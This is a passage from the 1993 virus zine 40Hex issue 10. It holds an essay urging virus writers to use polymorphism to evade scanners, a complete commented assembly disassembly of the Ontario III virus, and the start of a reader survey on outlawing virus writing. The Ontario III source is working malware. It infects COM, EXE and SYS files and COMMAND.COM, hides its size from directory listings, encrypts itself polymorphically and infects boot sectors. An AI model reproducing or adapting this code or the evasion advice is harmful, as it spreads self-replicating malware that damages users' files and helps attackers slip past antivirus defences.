mov dx,offset endvirus
mov cx,bp
mov ah,40h ; concatenate carrier
pushf ; file's first few bytes
call dword ptr cs:origint21
retn
end_write_virus:
finish_infect:
mov ax,5701h ; restore file time/date
mov cx,cs:filetime
mov dx,cs:filedate
pushf
call dword ptr cs:oldint21
inc cs:infcounter
cmp cs:infcounter,10d ; after 10 infections,
jne infectOK
call cs:restoreint21pointer ; turn off virus
jmp short infectOK
errorinfect:
stc ; set error flag
jmp short exitinfect
infectOK:
clc ; clear error flag
exitinfect:
pop bp
pop di
pop es
pop ds
pop dx
pop cx
retn
endinfect:
db 0
endvirus:
int 20h
carrierencrypt:
mov word ptr cs:encryptpointer,offset encrypt
retn
end start
-------------------------------------------------------------------------------
DA
40Hex Issue 10 Volume 3 Number 1 File 007
A Case Against Simple Encryption And For Polymorphism
~ ~~~~ ~~~~~~~ ~~~~~~ ~~~~~~~~~~ ~~~ ~~~ ~~~~~~~~~~~~
In a well-crafted virus, every line of code should serve a definite
purpose. No byte should be wasted. Is encryption, long used by virus
programmers, still a viable method of eluding scanners and, if not, is
encryption any longer a necessary part of a virus?
The type of encryption found in the typical virus is a simple XOR loop or
another similar type of operation, i.e. rotate, add, etc. The idea behind
encryption was to change the virus during each iteration so that scanners would
not be able to detect it. However, such simple encryption hardly serves this
job, as most scanners simply scan for a pattern found in the encryption. Only
a handful delve deeper than the decryption routine. So the sole purpose of
simple encryption such as that seen in most viruses nowadays seems to be to
hide text strings from archaic text searching programs (remember those virus
books that touted CHK4BOMB as the best thing since rotten Jello?). But is it
worth including encryption solely for this purpose? I think not. Few people
search files for unusual text strings and the extra code needed to encrypt a
file for this purpose may hardly be justified to overcome this obstacle.
As mentioned previously, waste should be frowned upon in viruses.
Unquestionably, the ultimate goal of a virus is to avoid detection while
spreading to the greatest number of hosts. It has been established that simple
decryption patterns do not aid a virus in avoiding detection from scanners.
And encryption is certainly not a vital part of the replication process. Thus
simple attempts at encryption do not add anything of value to the virus.
Yet these weak encryption routines _are occasionally_ necessary, but only
as stepping stones for fledgling virus programmers entering the realm of
polymorphism. Without a few simple encryption routines and knowledge of their
use under his belt, a virus programmer would be hard-pressed to create a truly
polymorphic virus. Therefore, it should be noted that simple encryption should
be used only as part of the learning process. However, remember also that such
encryption pales in the face of modern virus scanners and polymorphism is a far
better alternative.
Polymorphism is perhaps the best technique modern viruses use to avoid
scanners. The other alternative, stealth techniques, is limited in utility and
is rendered helpless in the face of simple memory scans. A combination of the
two is desirable, yet it is not always possible to implement both in a virus of
limited size. So let us examine polymorphism.
Polymorphism, in its simplest form, merely consists of a fixed-length
decryptor with a few bytes which may be altered during each infection. This is
merely a small step up from the simple encryption routine. A few extra XOR
statements in the code are all that is necessary for implementing such a
routine. However, this is, once again, only a small step up; most such fixed-
length decryptors may be detected by a couple scan strings with wildcards.
More powerful polymorphism is necessary for evasion of scanners.
The MtE and the recently introduced TPE are both powerful products which
allow every virus to include polymorphism. However, it is important to note
that viruses utilising such products may be detected by existing scanners.
Therefore, it is desirable to write a new polymorphic routine from scratch.
This will allow for longer survival of the virus.
The chief problem with good polymorphism is that the virus should be able
to detect existing infections of itself in files. Otherwise, the virus could
grow beyond limit and much disk space would be taken up in redundant
infections. Two methods are commonly used; the infection marker byte and the
time stamp. However, such a check is inherently limiting as the virus scanner
is then able to use said check to its advantage; it need not check files, for
example, save those which have the seconds field set to eight. Then again, a
scanner which functions in this manner would be helpless in detecting another
virus utilising the identical polymorphic routine but with a different
infection stamp.
The second major difficulty with good polymorphic routines is simply the
size. MtE, for example, adds over 2,000 bytes of code. A working, albeit
limited, polymorphic routine is possible in half this size, yet it would still
be 1,000 bytes, a size larger than most viruses. Increased size, of course,
increases the disk access time. While generally irrelevant in a harddisk-based
environment, this increased infection time becomes crucial when infecting files
on floppy diskettes. There are precious few ways of alleviating this problem;
the only real solution is to decrease the functionality of the polymorphic
routine and thereby compromise its worth.
Taken as a whole, the advantages in utilising polymorphic routines should
outweigh the disadvantages. The increased difficulty of scanning may allow the
virus to slip through the cracks even after a virus scanner claims to detect it
reliably. Take, for example, MtE. To this day, many virus scanners fail to
accurately report MtE infections; some still trigger false positives. To
reiterate a previous point - simple decryption routines are worthless, as they
fail to serve their main purpose of aiding in the evasion of scanners. Even
simple polymorphic routines are easily defeated by scanners; true polymorphism
or no encryption at all are only alternatives.
Dark Angel
Phalcon/Skism 1993
40Hex Issue 10 Volume 3 Number 1 File 008
The Ontario III virus was written by one of our YAM friends up in
Canada, Death Angel. The virus infects COM/EXE files. Additionally, it
attaches to SYS files yet does not truly infect them. When the virus is
executed from a SYS file, it goes resident yet it never alters the interrupt
vectors. Therefore, it is merely taking up space in memory. The virus
automatically attacks COMSPEC upon receiving control, whether it is in a COM,
EXE, or SYS host file. However, I suspect that the virus will have trouble
dealing with command interpreters apart from COMMAND.COM, as it makes certain
assumptions, i.e. the end of the file is filled with null characters. The
virus utilises a simple polymorphic routine, although the decryptor is of a
fixed length. The polymorphism is therefore of questionable utility.
Additionally, the boot sector is pointless as it is never accessed. There are
a few additional bugs in the virus which detract from its overall quality.
-------------------------------------------------------------------------------
.model tiny
.code
; Ontario III
; Disassembly by Dark Angel of Phalcon/Skism
; Assemble with TASM /m ONTARIO3.ASM
; Virus written by Death Angel of YAM
org 0
decrypt:
patch1:
mov di,offset endvirus ; usually: offset enddecrypt
patch2 = $ - 2
patch3 = $
mov cx,37E5h
patch4 = $ - 2
patch5:
db 82h, 0C5h, 0D0h ; add ch,0D0h
patch6 = $ - 1
patch7:
mov al,0Ah
patch8 = $ - 1
decrypt_loop:
add cs:[di],al
patch9 = $ - 1
patch10:
ror al,cl
patch11 = $ - 1
patch12:
inc di
patch13:
loop decrypt_loop
enddecrypt:
patch14:
db 89h, 0FBh ; mov bx,di
patch15 = $ - 1
sub bx,offset save4
xchg ax,cx
dec ax
cld
call saveorigvectors
db 0e9h ; jmp
SYSpatch dw 0 ; currently jmp to next line
int 21h ; installation check
or al,ah
jz restorefile
push ds
mov cx,bx
mov di,ds ; save current ds
mov ah,13h ; get BIOS int 13h handler
int 2Fh ; to ds:dx and es:bx
mov si,ds ; does function function?
cmp si,di
je skipit
push ds
push dx
mov ah,13h ; restore handler
int 2Fh
mov bx,cx ; but save its address too
pop word ptr cs:[bx+storeint13_1]
pop word ptr cs:[bx+storeint13_2]
skipit:
xor di,di
mov cx,es
dec cx
mov ds,cx ; get MCB of current program
sub word ptr [di+3],140h ; decrease size by 5K
mov ax,[di+12h] ; get high memory from PSP
sub ax,140h ; decrease size by 5K
mov [di+12h],ax ; replace it
mov es,ax ; es->high memory segment
sub ax,1000h
mov word ptr cs:[bx+patchsegment],ax
push cs
pop ds
mov si,bx
mov cx,offset save4
rep movsb
mov ds,cx
cli
mov word ptr ds:21h*4,offset int21 ; set int 21h handler
mov ds:21h*4+2,es ; to virus's
sti
mov ax,4BFFh ; infect COMSPEC
push bx
int 21h
pop bx
pop ds
push ds
pop es
restorefile:
lea si,[bx+offset save4]
mov di,100h
cmp bx,di
jb restoreEXE
push di
movsw
movsw
retn
restoreEXE:
mov ax,es ; get start segment
add ax,10h ; adjust for PSP
add cs:[si+2],ax ; relocate CS
add cs:[si+4],ax ; relocate SS
cli
mov sp,cs:[si+6] ; restore stack
mov ss,cs:[si+4]
sti
jmp dword ptr cs:[si]
int21instcheck:
inc ax
iret
int21:
cmp ax,0FFFFh ; installation check?
je int21instcheck
cmp ah,4Bh ; execute?
je execute
cmp ah,11h ; FCB find first?
je findfirstnext
cmp ah,12h ; FCB find next?
je findfirstnext
cmp ax,3D00h ; open file read only?
jne int21exit
call handleopen
int21exit:
db 0EAh ; jmp far ptr
oldint21 dd 0
findfirstnext: ; standard stealth routine
push bp
mov bp,sp
cmp word ptr [bp+4],1234h
patchsegment = $ - 2
pop bp
jb int21exit
call callint21 ; do findfirst/next
call pushall
mov ah,2Fh ; Get DTA
call callint21
cmp byte ptr es:[bx],0FFh ; extended FCB?
je findfirstnextnotextendedFCB
sub bx,7 ; convert to standard
findfirstnextnotextendedFCB:
mov al,es:[bx+1Eh] ; get seconds counter
and al,1Fh ; check if 62 seconds
cmp al,1Fh ; (infection marker)
jne findfirstnextexit ; exit if not
mov dx,es:[bx+26h] ; get file size
mov ax,es:[bx+24h]
sub ax,viruslength ; decrease by virus
sbb dx,0 ; size
or dx,dx
jc findfirstnextexit
mov es:[bx+26h],dx ; replace file size
mov es:[bx+24h],ax ; with "stealthed" one
findfirstnextexit:
call popall
iret
execute:
mov byte ptr cs:infectSYS,0
cmp al,1 ; load/don't execute
je load_noexecute
cmp al,0FFh ; called by virus
je infectCOMSPEC
call infectDSDX
jmp short int21exit
infectCOMMANDCOM:
mov byte ptr cs:infectSYS,0
push dx
push ds
mov dx,offset command_com
push cs
pop ds
mov byte ptr ds:infCOMMAND,0FFh ; infecting COMMAND.COM
call infectDSDX
pop ds
pop dx
iret
infectCOMSPEC:
mov ah,51h ; Get current PSP
call callint21
mov es,bx
mov ds,es:[2Ch] ; environment block
xor si,si
push cs
pop es
infectCOMSPECfindcomspec:
mov di,offset comspec ; is 'COMSPEC=' the first
mov cx,4 ; entry in environment?
repe cmpsw ; (should be)
jcxz infectCOMSPECnoenvironment ; otherwise, quit
infectCOMSPECfindend:
lodsb ; search for end of string
or al,al
jnz infectCOMSPECfindend
cmp byte ptr [si],0 ; found it?
jne infectCOMSPECfindcomspec; nope, try again
jmp short infectCOMMANDCOM ; otherwise, infect
infectCOMSPECnoenvironment:
mov dx,si
mov byte ptr cs:infCOMMAND,0FFh ; infecting COMMAND.COM
call infectDSDX ; but are we really? Maybe
iret ; it's 4DOS. This is a bug.
load_noexecute:
push es ; save parameter block
push bx
call callint21 ; prechain
pop bx
pop es
call pushall
jnc load_noexecute_ok ; continue if no error
jmp load_noexecute_exit
load_noexecute_ok:
xor cx,cx
lds si,dword ptr es:[bx+12h]; get entry point on return
push ds
push si
mov di,100h
cmp si,di
jl loading_EXE
ja load_noexecute_quit
; debugger active
lodsb
cmp al,0E9h ; check if infected
jne load_noexecute_quit
lodsw
push ax ; save jmp location
lodsb
cmp al,'O' ; check for infection marker
pop si ; get jmp location
jnz load_noexecute_quit
add si,103h ; convert to file offset
inc cx
inc cx
pop ax
push si
push ds
pop es
jmp short check_infection
loading_EXE:
lea di,[bx+0Eh] ; check SS:SP on return
cmp word ptr es:[di],9FFh ; infected?
jne load_noexecute_quit
check_infection:
lodsb
cmp al,0BBh ; possibility 1
je infected_checked1
cmp al,0BEh ; possibility 2
je infected_checked1
cmp al,0BFh ; possibility 3
jne load_noexecute_quit
infected_checked1:
lodsw ; get starting offset
push ax ; to decrypt
lodsb ; get next byte
cmp al,0B9h ; check for infection
lodsw
pop si ; offset to decrypt
jnz load_noexecute_quit
cmp ah,7 ; check if infected
je infected_checked2
cmp al,0E5h ; ditto
jne load_noexecute_quit
infected_checked2:
add si,save4 - enddecrypt
jcxz disinfectEXE
rep movsw
jmp short finish_disinfection
disinfectEXE:
mov ah,51h ; Get current PSP
call callint21
add bx,10h ; go to file starting CS
mov ax,[si+6]
dec ax
dec ax
stosw
mov ax,[si+4]
add ax,bx
stosw
movsw
lodsw
add ax,bx
stosw
finish_disinfection:
pop di
pop es
xchg ax,cx
mov cx,viruslength
rep stosb
jmp short load_noexecute_exit
load_noexecute_quit:
pop ax
pop ax
load_noexecute_exit:
call popall
retf 2
handleopen:
call pushall
mov si,dx ; find extension of
handleopenscanloop: ; ASCIIZ string
lodsb
or al,al ; found end of screen?
jz handleopenexit ; yup, no extension -- exit
cmp al,'.' ; extension found?
jne handleopenscanloop
mov di,offset validextensions - 3
push cs
pop es
mov cx,4
nop
scanvalidextension:
push cx
push si
mov cl,3
add di,cx
push di
check_extension:
lodsb
and al,5Fh ; Capitalise
cmp al,es:[di] ; do they compare ok?
jne extension_no_match ; nope, try next one
inc di
loop check_extension
cmp al,'S' ; SYS file?
jne opennotSYS
mov byte ptr cs:infectSYS,0FFh ; infecting SYS file
opennotSYS:
call infectDSDX
add sp,6
jmp short handleopenexit
extension_no_match:
pop di
pop si
pop cx
loop scanvalidextension
handleopenexit:
call popall
retn
infectDSDX:
call pushall
call replaceint13and24
push dx
push ds
mov ax,4300h ; get attributes
call callint21
push cx
pushf
jc go_restoreattribs
push cx
and cl,1 ; check if read only
cmp cl,1
jne infectDSDXnoclearattributes
xor cx,cx ; clear if so
mov ax,4301h
call callint21
infectDSDXnoclearattributes:
pop cx
and cl,4
cmp cl,4
je go_restoreattribs
mov ax,3D02h ; open file read/write
call callint21
jnc infectDSDXopenOK ; continue if no error
go_restoreattribs:
jmp infectDSDXrestoreattributes
infectDSDXopenOK:
xchg ax,bx ; handle to bx
push cs
push cs
pop ds
pop es
mov word ptr ds:SYSpatch,0
mov ax,5700h ; save file time/date
call callint21
push dx
push cx
and cl,1Fh ; check if infected
cmp cl,1Fh ; (seconds == 62)
je infectDSDXerror
mov dx,offset readbuffer ; read header from
mov cx,1Ch ; potential carrier
mov ah,3Fh ; file to the
call callint21 ; buffer
jnc infectDSDXreadOK ; continue if no error
infectDSDXerror:
stc ; mark error
jmp infectDSDXclose ; and exit
infectDSDXreadOK:
cmp ax,cx ; read 1ch bytes?
jne infectDSDXerror ; exit if not
xor dx,dx
mov cx,dx
mov ax,4202h ; go to end of file
call callint21
or dx,dx
jnz infectDSDXfilelargeenough
cmp ax,0A01h ; check if too small
jb infectDSDXerror
infectDSDXfilelargeenough:
cmp dl,5
ja infectDSDXerror
cmp word ptr ds:readbuffer,'ZM' ; EXE?
je infectDSDXskipcheck
cmp word ptr ds:readbuffer,'MZ' ; EXE?
infectDSDXskipcheck:
je infectDSDXcheckEXE
cmp byte ptr ds:infectSYS,0FFh ; infecting SYS file?
jne infectDSDXcheckCOM
cmp word ptr ds:readbuffer,0FFFFh ; check if SYS
jne infectDSDXerror ; file
cmp word ptr ds:readbuffer+2,0FFFFh
isanoverlay:
jne infectDSDXerror
or dx,dx
jnz infectDSDXerror
push ax ; save file size
mov di,offset save4
mov ax,5657h ; push di, push si
stosw
mov ax,0E953h ; push bx, jmp decrypt
stosw
mov ax,offset decrypt - (offset save4 + 6)
stosw
mov ax,word ptr ds:readbuffer+6 ; get strategy start point
stosw
pop ax ; get file size
push ax
add ax,offset save4
mov word ptr ds:readbuffer+6,ax
mov word ptr ds:SYSpatch,offset strategy-(offset SYSpatch + 2)
mov byte ptr ds:decrypt_loop,36h ; replace with SS:
pop ax
add ax,offset enddecrypt
jmp short go_infectDSDXcontinue
infectDSDXcheckCOM:
cmp byte ptr ds:readbuffer+3,'O'; check if already infected
jmp_infectDSDXerror:
je infectDSDXerror
cmp byte ptr ds:infCOMMAND,0; infecting COMMAND.COM?
je dontdoslackspace
sub ax,viruslength ; infect slack space of
xchg ax,dx ; command.com
xor cx,cx
mov ax,4200h
call callint21
dontdoslackspace:
mov si,offset readbuffer
mov di,offset save4
movsw
movsw
sub ax,3 ; convert size->jmp dest
mov byte ptr ds:readbuffer,0E9h ; encode JMP
mov word ptr ds:readbuffer+1,ax ; and destination
mov byte ptr ds:readbuffer+3,'O' ; mark infected
add ax,116h
go_infectDSDXcontinue:
jmp short infectDSDXcontinue
infectDSDXcheckEXE:
cmp word ptr ds:readbuffer+10h,0A01h ; already infected?
je jmp_infectDSDXerror
cmp word ptr ds:readbuffer+1Ah,0
jne isanoverlay ; exit if it's an overlay
push dx
push ax
mov cl,4
ror dx,cl
shr ax,cl
add ax,dx ; ax:dx = file size
sub ax,word ptr ds:readbuffer+8 ; subtract header size
mov si,offset readbuffer+14h
mov di,offset origCSIP
movsw ; save initial CS:IP
movsw
mov si,offset readbuffer+0Eh
movsw ; save initial SS:SP
movsw
mov word ptr ds:readbuffer+16h,ax ; set initial CS
mov word ptr ds:readbuffer+0Eh,ax ; set initial SS
mov word ptr ds:readbuffer+10h,0A01h ; set initial SP
pop ax
pop dx
push ax
add ax,0A01h
; adc dx,0 works just as well
jnc infectEXEnocarry
inc dx
infectEXEnocarry:
mov cx,200h ; take image size
div cx
; The next line is not entirely corrrect. The image size
; div 512 is rounded up. Therefore, DOS will find this number
; to be off by 512d bytes
mov word ptr ds:readbuffer+4,ax ; image size div 512
mov word ptr ds:readbuffer+2,dx ; image size mod 512
pop ax
and ax,0Fh
mov word ptr ds:readbuffer+14h,ax ; set initial IP
add ax,offset enddecrypt
infectDSDXcontinue:
mov word ptr ds:patch2,ax ; patch start area
push bx ; save file handle
xor byte ptr ds:decrypt_loop,18h ; swap SS: & CS:
call encrypt ; encrypt virus to buffer
pop bx ; restore file handle
mov ah,40h ; Concatenate encrypted
call callint21 ; virus
jc infectDSDXclose ; exit on error
xor dx,dx
mov cx,dx
mov ax,4200h ; go to start of file
call callint21
jc infectDSDXclose
mov dx,offset readbuffer
mov cx,1Ch
mov ah,40h ; Write new header
call callint21
infectDSDXclose:
pop cx
pop dx
jc infectDSDXnoaltertime
cmp byte ptr ds:infCOMMAND,0FFh ; infecting COMMAND.COM?
je infectDSDXnoaltertime
or cl,1Fh ; set time to 62 seconds
infectDSDXnoaltertime:
mov ax,5701h ; restore file time/date
call callint21
mov ah,3Eh ; Close file
call callint21
infectDSDXrestoreattributes:
mov byte ptr cs:infCOMMAND,0
mov byte ptr cs:infectSYS,0
popf
pop cx
pop ds
pop dx
jc infectDSDXexit
mov ax,4301h ; restore file attributes
call callint21
infectDSDXexit:
call restoreint13and24
call popall
retn
pushall:
push bp
mov bp,sp
push bx
push cx
push dx
push si
push di
push ds
push es
pushf
xchg ax,[bp+2]
push ax
mov ax,[bp+2]
retn
popall:
pop ax
xchg ax,[bp+2]
popf
pop es
pop ds
pop di
pop si
pop dx
pop cx
pop bx
pop bp
retn
replaceint13and24:
push ds
xor ax,ax
mov ds,ax
mov si,13h*4
lodsw
mov word ptr cs:origint13_1,ax
lodsw
mov word ptr cs:origint13_2,ax
mov si,24h*4
lodsw
mov word ptr cs:origint24_1,ax
lodsw
mov word ptr cs:origint24_2,ax
mov word ptr ds:13h*4,1234h
storeint13_1 = $ - 2
mov word ptr ds:13h*4+2,1234h
storeint13_2 = $ - 2
mov word ptr ds:24h*4,offset int24 ; replace int 24 handler
mov ds:24h*4+2,cs
pop ds
retn
restoreint13and24:
xor ax,ax
mov ds,ax
mov word ptr ds:13h*4,1234h
origint13_1 = $ - 2
mov word ptr ds:13h*4+2,1234h
origint13_2 = $ - 2
mov word ptr ds:24h*4,1234h
origint24_1 = $ - 2
mov word ptr ds:24h*4+2,1234h
origint24_2 = $ - 2
retn
int24:
xor al,al
iret
encrypt:
mov di,offset patch4
mov si,di
mov word ptr [si],offset save4 - offset enddecrypt
xor bx,bx
call random
jz encrypt1
add bl,4
inc di
encrypt1:
call random
in al,40h ; get random #
mov bh,al
jz encrypt2
add [di],al ; alter amount to encrypt
add bl,28h
jmp short encrypt3
encrypt2:
sub [di],al ; alter amount to encrypt
encrypt3:
add bl,0C1h
mov [si+3],bx
call random
jz encrypt4
xor byte ptr [si+2],2 ; flip betwen add/sub
encrypt4:
in ax,40h ; get random number != 0
or ax,ax
jz encrypt4
mov bx,3 ; first choose one of
xor dx,dx ; three possible registers
div bx
xchg ax,bx
inc ax ; ax = 4
mul dx ; convert to offset in
xchg ax,bx ; table
lea si,[bx+offset table1]
lodsb
mov byte ptr ds:patch1,al
lodsb
mov byte ptr ds:patch9,al
lodsb
mov byte ptr ds:patch12,al
lodsb
mov byte ptr ds:patch15,al
call random
jz encrypt5
xor byte ptr ds:patch13,2 ; loop/loopnz
encrypt5:
in ax,40h ; get random number
mov byte ptr ds:patch8,ah
and ax,0Fh
xchg ax,bx
shl bx,1
mov ax,[bx+offset table2]
mov word ptr ds:patch10,ax
xor si,si
mov di,offset encryptbuffer ; copy virus to
mov cx,endvirus - decrypt ; temporary buffer
push cx ; for encryption
cld
rep movsb
mov bx,offset enddecrypt
push word ptr [bx] ; save it
mov byte ptr [bx],0C3h ; put retn in its place
push bx
xor byte ptr [bx-7],28h ; sub/add
push word ptr ds:decrypt_loop
mov byte ptr [bx-8],2Eh ; CS:
mov dx,offset encryptbuffer
add bx,dx
mov word ptr ds:patch2,bx
call decrypt
pop word ptr ds:decrypt_loop
pop bx
pop word ptr [bx]
pop cx
retn
random: ; 1/2 chance of zero flag set
in al,40h
and al,1
cmp al,1
retn
saveorigvectors:
push ds
push ax
xor ax,ax
mov ds,ax
mov ax,ds:13h*4
mov word ptr cs:[bx+storeint13_1],ax
mov ax,ds:13h*4+2
mov word ptr cs:[bx+storeint13_2],ax
mov ax,ds:21h*4
mov word ptr cs:[bx+offset oldint21],ax
mov ax,ds:21h*4+2
mov word ptr cs:[bx+offset oldint21+2],ax
pop ax
pop ds
retn
strategy:
mov word ptr cs:[bx+doffset],bx ; save delta offset
pop bx
pop di
pop si
call pushall
push cs
pop ds
mov bx,1234h ; restore delta offset
doffset = $ - 2
db 8bh, 87h ; mov ax,ds:[save4+6]
dw offset save4 + 6 ; get old strategy entry point
mov word ptr ds:[6],ax ; and restore to file header
int 12h ; Get memory size in K
sub ax,5 ; decrease by 5 K
mov cl,6 ; convert to paragraphs
shl ax,cl
mov es,ax
mov word ptr ds:[bx+himemsegment],ax
cmp byte ptr es:[3],0B9h ; check if already installed
je strategyexit
mov si,bx ; copy to high memory
xor di,di
mov cx,viruslength
rep movsb
pushf
db 09Ah ; call far ptr
dw infectCOMMANDCOM
himemsegment dw 0
strategyexit:
call popall
jmp word ptr cs:[6] ; go to original strategy
table1 db 0BEh, 04h, 46h,0F3h ; si
db 0BFh, 05h, 47h,0FBh ; di
db 0BBh, 07h, 43h,0DBh ; bx
table2: inc al
dec al
inc ax
inc ax
dec ax
dec ax
add al,cl
sub al,cl
xor al,cl
xor al,ch
not al
neg al
ror al,1
rol al,1
ror al,cl
rol al,cl
nop
nop
add al,ch
comspec db 'COMSPEC='
command_com db '\COMMAND.COM',0
validextensions db 'COMEXEOVLSYS'
bootsector: ; offset 600h in the virus
jmp short bootsectorentry
nop
bootparms db 3Bh dup (0)
bootsectorentry:
xor ax,ax
mov ds,ax
cli
mov ss,ax
mov sp,7C00h
sti
mov ax,ds:13h*4 ; get int 13h handler
mov word ptr ds:[7C00h+oldint13-bootsector],ax
mov ax,ds:13h*4+2 ; and save it
mov word ptr ds:[7C00h+oldint13+2-bootsector],ax
mov ax,ds:[413h] ; get total memory
sub ax,2 ; reduce by 2K
mov ds:[413h],ax ; replace memory size
mov cl,6
shl ax,cl ; convert to paragraphs
sub ax,60h ; go to boot block start
mov es,ax
mov si,sp
mov di,offset bootsector
mov cx,100h
rep movsw
mov dx,offset highentry
push es
push dx
retf
highentry:
xor ax,ax ; reset disk
and dl,al
int 13h
push ds
push es
pop ds
pop es
mov bx,sp ; read to 0:7C00h
mov dx,drivehead ; find where original boot
mov cx,sectortrack ; block stored and then
mov ax,201h ; read original boot
int 13h ; sector
jc $ ; halt on error
xor ax,ax ; else chain to original
mov ds,ax ; boot sector
mov word ptr ds:13h*4,offset int13
mov ds:13h*4+2,cs ; replace int 13h handler
push es
push bx
retf
int13:
push bp
mov bp,sp
push ds
push es
push si
push di
push dx
push cx
push bx
push ax
pushf
xor bx,bx
mov ds,bx
test byte ptr ds:[43Fh],1 ; A: spinning?
jnz exitint13 ; exit if so
or dl,dl ; default drive?
jnz exitint13 ; exit if not
cmp ah,2 ; read/write/verify?
jb exitint13
cmp ah,4
jbe trapint13
exitint13:
popf
pop ax
pop bx
pop cx
pop dx
pop di
pop si
pop es
pop ds
pop bp
jmp dword ptr cs:oldint13 ; chain to original handler
trapint13:
cld
push cs
push cs
pop es
pop ds
xor cx,cx
mov dx,cx
inc cx
mov bx,offset endvirus ; read boot block to
mov ax,201h ; buffer at endvirus
call callint13
jnc int13readOK
int13exit:
jmp short exitint13
int13readOK:
cmp word ptr [bx+15h],501Eh ; push ds, push ax?
jne int13skip
cmp word ptr [bx+35h],0FF2Eh; jmp cs: ?
jne int13skip
cmp word ptr [bx+70h],7505h ; add ax,XX75 ?
jne int13skip
mov dh,1
mov cl,3
mov ax,201h
call callint13
xor dh,dh
mov cl,1
mov ax,301h
call callint13
int13skip:
cmp word ptr ds:[offset endvirus-bootsector+YAM],'Y*'
je int13exit ; don't infect self
cmp word ptr ds:[offset endvirus+0Bh],200h
jne int13exit ; infect only 512 bytes per sector
cmp byte ptr ds:[offset endvirus+0Dh],2
jne int13exit ; only 2 reserved sectors
cmp word ptr ds:[offset endvirus+1Ah],2
ja int13exit ; only 2 sec/track
xor dx,dx ; calculate new location of boot block
mov ax,word ptr ds:[offset endvirus+13h] ; total sec
mov bx,word ptr ds:[offset endvirus+1Ah] ; sec/track
mov cx,bx
div bx ; # track
xor dx,dx
mov bx,word ptr ds:[offset endvirus+18h] ; sec/FAT
div bx
sub word ptr ds:[offset endvirus+13h],cx ; total sec
dec ax
mov byte ptr sectortrack+1,al
mov ax,word ptr ds:[offset endvirus+18h] ; sec/FAT
mov byte ptr sectortrack,al
mov ax,word ptr ds:[offset endvirus+1Ah] ; sec/track
dec ax
mov byte ptr drivehead+1,al
mov byte ptr drivehead,0
mov dx,drivehead ; move original boot block
mov cx,sectortrack ; to end of disk
mov bx,offset endvirus
mov ax,301h
call callint13
jc go_exitint13
mov si,offset endvirus+3 ; copy parameters so
mov di,offset bootparms ; no one notices boot
mov cx,bootsectorentry - bootparms ; block is changed
rep movsb
xor cx,cx
mov dx,cx
inc cx
mov bx,offset bootsector ; copy virus boot block
mov ax,301h
call callint13
go_exitint13:
jmp exitint13
callint21:
pushf
call dword ptr cs:oldint21
retn
callint13:
pushf
call dword ptr cs:oldint13
retn
oldint13 dd 0
drivehead dw 100h
sectortrack dw 2709h
YAM db '*YAM*',1Ah
db 'Your PC has a bootache! - Get some medicine!',1Ah
db 'Ontario-3 by Death Angel',1Ah,1Ah,1Ah,1Ah
save4:
origCSIP db 0CDh, 020h, 0, 0
origSSSP dd 0
endvirus:
viruslength = $ - decrypt
infCOMMAND db ?
infectSYS db ?
readbuffer db 01Ch dup (?)
encryptbuffer db viruslength dup (?)
end decrypt
-------------------------------------------------------------------------------
DA
40Hex Issue 10 Volume 3 Number 1 File 009
40-hex Survey:
Should Writing a Virus Be Outlawed?
by DecimatoR
Recently, while conversing with Garbageheap, I was inspired with the
idea for this article. So, with the help of a lot of people in the UseNet
alt.security and comp.virus newsgroups, I have determined what seems to be
the answer to my question. My thanks to all who responded - couldn't have
done it without ya!
I posted this message in alt.security and comp.virus:
"Greetings....
Some of you may read the infamous 40-Hex Virus magazine, published
by us. If so, we'd like your opinions for a survery we're doing.
The results of this survey will be published in 40-hex #10.
Here are the survey questions. Please answer them, and respond via
email to me. You may respond with simple Yes or No answers, or you
may be as wordy as you want. Please note - ANY response given might
be published in 40-hex magazine. Now, the questions:
1) Should it be Federally illegal to write a computer virus?
2) Should it be Federally illegal to distribute computer viruses,
to KNOWING individuals (ie on "virus" boards)? (This does NOT
mean infecting another person with a virus - it means giving
them a copy of a virus, and making sure they KNOW it is a virus)
3) If executable virus code is illegal, then should the SOURCE code
to the viruses be illegal to copy, sell, or other wise distribute?
Please mail me with YOUR opinions to the above, and feel free to
explain your views, or present other opinions you may have. We are
attempting to get a general idea as to the thoughts of people,
therefore we are posting this to COMP.VIRUS, and ALT.SECURITY, and
any other appropriate newsgroups.
Please note - we are NOT interested in the legallity of SPREADING
virus code by infection - that IS already illegal. We are also not
interested in the ethic issues of viruses. We want your opinions as
to what should be OUTLAWED, and what should be LEGAL. Of course, any
other opinions you may wish to add are welcome.
Thanks for your time and consideration..
--DecimatoR
Phalcon/Skism
40-Hex Magazine Columnist"
Amazingly, almost all of the responses stated that NO, it _SHOULD_NOT_ be
illegal to write, or distribute (to knowing persons) a computer virus. Many
respondees regarded that as censorship, and wanted nothing of the sort.
However, there were a few replies which, while not condoning the outlawing of
virus creation, also certainly did not condone the authoring or distributing
of viruses. There was one man, from England, though, who firmly stated that
there should be international laws banning the creation of, distribution of,
and sharing of virus source code. The fact that only one person responded in
this manner surprised me. I expected more.
Here are a few quotes from the responses I got. There are no names or
addresses attatched in most cases. I posted my original survey question
through an anonymous mailer, since I wasn't too sure of the response I'd get,
and in turn, the responses were also anonymous.
*******************************************************************************
1) Should it be Federally illegal to write a computer virus?
*******************************************************************************
From David:
"Not at all. The government is already quite behind the times
when it comes to legislating technical issues. I don't believe
they are qualified to enact competent legislation. We're talking
about a government who thought Steve Jackson Games should be raided
for compiling a cyberpunk roleplaying supplement...
Leaving aside the question of their technical knowledge, it smacks of
censorship. The inception of a computer program is roughly analogous
to the writing of a book. Put this way, your question could be
phrased like:
"Should it be Federally illegal to write a [pornographic,
anarchistic, insert-favorite-word-here] book?"
We know that the writing of a book is protected by the US constitution
as a form of expression. The writing of a computer program is a similar
form of expression, and should thus be inviolate..."
--------------------------
From: an11445@anon.penet.fi:
NO! however, if people do not exhibit ethical behaviour regarding
viruses, they are forcing such a law to be made. if someone wants
the right to write what they want on their own computer, they
would be well advised to not release to any other person this
program unless they are -absolutely certain- that person will :
a. not use the program for any damaging purpose
b. not use the program to play tricks on people
c. not allow the program to leave his/her hands without
ensuring the above conditions are met.
--------------------------
From: an10445@anon.penet.fi (Cutthroat):
No.
A virus is simply a section of code that travels with another section of code.
Viruses are not inherently malicious.
--------------------------
From: an2284@anon.penet.fi
> 1) Should it be Federally illegal to write a computer virus?
No. It's just code. The minute you start outlawing one kind of program,
you've introduced censorship.
--------------------------
From: an11290@anon.penet.fi: (Roger)
> 1) Should it be Federally illegal to write a computer virus?
Hard one. The problem is that I'd like it to be legal: people should
be free to experiment with this kind of stuff providing they keep it
safe in their own environment. However when parallels are
sought with current law, we are forced to another conclusion:
selling a gun is potentially harmless untill the gun is used. It's
